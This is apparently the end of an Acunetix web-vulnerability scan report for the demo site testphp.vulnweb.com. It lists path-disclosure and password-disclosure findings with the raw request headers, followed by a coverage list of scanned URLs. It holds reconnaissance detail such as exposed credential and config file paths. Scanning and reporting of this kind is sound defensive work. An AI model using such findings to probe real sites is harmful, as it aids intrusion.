One or more fully qualified path names were found on this page. From this information the attacker may learn the file system structure from the web server. This information can be used to conduct further attacks.

This alert may be a false positive, manual confirmation is required.

Impact

Possible sensitive information disclosure.

Recommendation

Prevent this information from being displayed to the user.

References

[Full Path Disclosure](https://www.owasp.org/index.php/Full_Path_Disclosure) (https://www.owasp.org/index.php/Full_Path_Disclosure)

Affected items

/pictures/path-disclosure-unix.html
Details
Pattern found:
<code>/usr/local/etc/httpd/htdocs2/destination</code>
Request headers
GET /pictures/path-disclosure-unix.html HTTP/1.1 Pragma: no-cache Cache-Control: no-cache Referer: http://testphp.vulnweb.com/ Acunetix-Aspect: enabled Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c Acunetix-Aspect-Queries: aspectalerts Cookie: mycookie=3 Host: testphp.vulnweb.com Connection: Keep-alive Accept-Encoding: gzip,deflate User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21 Accept: */*
/secured/phpinfo.php
Details

Pattern found:

/usr/obj/usr/src/sys/GENERIC

Request headers

GET /secured/phpinfo.php HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*

Possible username or password disclosure

Severity	Informational
Reported by module	Scripting (Text_Search_File.script)

Description

A username and/or password was found in this file. This information could be sensitive.

This alert may be a false positive, manual confirmation is required.

Impact

Possible sensitive information disclosure.

Recommendation

Remove this file from your website or change its permissions to remove access.

Affected items

/Connections/DB_Connection.php

Details

Pattern found:

password: NO

Request headers

GET /Connections/DB_Connection.php HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*

/pictures/credentials.txt

Details
Pattern found:
<div>password=something</div>
Request headers
GET /pictures/credentials.txt HTTP/1.1 Pragma: no-cache Cache-Control: no-cache Referer: http://testphp.vulnweb.com/ Acunetix-Aspect: enabled Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c Acunetix-Aspect-Queries: aspectalerts Cookie: mycookie=3 Host: testphp.vulnweb.com Connection: Keep-alive Accept-Encoding: gzip,deflate User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21 Accept: */*
/secured/database_connect.php
Details
Pattern found:
<div>password: NO</div>
Request headers
GET /secured/database_connect.php HTTP/1.1 Pragma: no-cache Cache-Control: no-cache Referer: http://testphp.vulnweb.com/ Acunetix-Aspect: enabled Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c Acunetix-Aspect-Queries: aspectalerts Cookie: mycookie=3 Host: testphp.vulnweb.com Connection: Keep-alive Accept-Encoding: gzip,deflate User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21 Accept: */*

Scanned items (coverage report)

URL:http://testphp.vulnweb.com/
Vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/.idea
Vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/.idea/.name
No vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/.idea/acuart.iml
No vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/.idea/encodings.xml
No vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/.idea/misc.xml
No vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/.idea/modules.xml
No vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/.idea/scopes
Vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/.idea/scopes/scope_settings.xml
No vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/.idea/vcs.xml
No vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/.idea/workspace.xml
No vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/_mmServerScripts
Vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/_mmServerScripts/MMHTTPDB.php
No vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/_mmServerScripts/mysql.php
No vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/404.php
Vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/adm1nPan3l
No vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/adm1nPan3l/index.php
No vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/admin
Vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/admin/create.sql
No vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/AJAX
No vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/AJAX/artists.php
No vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/AJAX/categories.php
No vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/AJAX/htaccess.conf

No vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/AJAX/index.php
No vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/AJAX/infoartist.php
Vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/AJAX/infocateg.php
Vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/AJAX/infotitle.php
Vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/AJAX/showxml.php
Vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/AJAX/styles.css
No vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/AJAX/titles.php
No vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/artists.php
Vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/bxss
No vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/bxss/adminPan3l
No vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/bxss/adminPan3l/index.php
No vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/bxss/adminPan3l/style.css
No vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/bxss/cleanDatabase.php
No vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/bxss/database_connect.php
No vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/bxss/index.php
No vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/bxss/test.js
No vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/bxss/vuln.php
No vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/cart.php
Vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/categories.php
No vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/clearguestbook.php
No vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/clientaccesspolicy.xml
No vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/comment.php
Vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/Connections
Vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/Connections/DB_Connection.php
Vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/crossdomain.xml
No vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/CVS
Vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/CVS/Entries
No vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/CVS/Entries.Log
No vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/CVS/Repository
No vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/CVS/Root
No vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/database_connect.php
No vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/disclaimer.php
No vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/favicon.ico
No vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/Flash
Vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/Flash/add fla
No vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/Flash/add swf
No vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/guestbook.php
Vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/hpp
Vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/hpp/index.php
Vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/hpp/params.php
Vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/hpp/test.php
No vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/images
Vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/index bak
Vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/index.php
No vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/index.zip
Vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/listproducts.php
Vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/login.php
Vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/logout.php
No vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/medias
No vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/medias/css
No vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/medias/css/main.css
Vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/medias/img

No vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/medias/js
No vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/medias/js/common_functions.js
Vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/Mod_Rewrite_Shop
Vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/Mod_Rewrite_Shop/.htaccess
No vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/Mod_Rewrite_Shop/buy.php
Vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details
No vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/Mod_Rewrite_Shop/details.php
Vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/color-printer
No vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/color-printer/3
Vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/network-attached-storage-dlink
No vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/network-attached-storage-dlink/1
Vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/web-camera-a4tech
No vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/web-camera-a4tech/2
Vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/Mod_Rewrite_Shop/images
Vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/Mod_Rewrite_Shop/index.php
No vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/Mod_Rewrite_Shop/rate.php
Vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/pictures
Vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/pictures/1.jpg.tn
No vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/pictures/2.jpg.tn
No vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/pictures/3.jpg.tn
No vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/pictures/4.jpg.tn
No vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/pictures/5.jpg.tn
No vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/pictures/6.jpg.tn
No vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/pictures/7.jpg.tn
No vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/pictures/8.jpg.tn
No vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/pictures/credentials.txt
Vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/pictures/ipaddresses.txt
Vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/pictures/path-disclosure-unix.html
Vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/pictures/path-disclosure-win.html
No vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/pictures/wp-config.bak
Vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/pictures/WS_FTP.LOG
Vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/privacy.php
Vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/product.php
Vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/redir.php
Vulnerabilities have been identified for this URL

URL:http://testphp.vulnweb.com/search.php
Vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/secured
Vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/secured/database_connect.php
Vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/secured/index.php
No vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/secured/newuser.php
Vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/secured/office.htm
Vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/secured/office_files
No vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/secured/office_files/filelist.xml
Vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/secured/phpinfo.php
Vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/secured/style.css
No vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/sendcommand.php
Vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/showimage.php
Vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/signup.php
Vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/style.css
No vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/Templates
Vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/Templates/main_dynamic_template.dwt.php
No vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/userinfo.php
Vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/wvstests

Vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/wstests/pmwiki_2_1_19
Vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/wstests/pmwiki_2_1_19/scripts
Vulnerabilities have been identified for this URL
URL:http://testphp.vulnweb.com/wstests/pmwiki_2_1_19/scripts/version.php
No vulnerabilities have been identified for this URL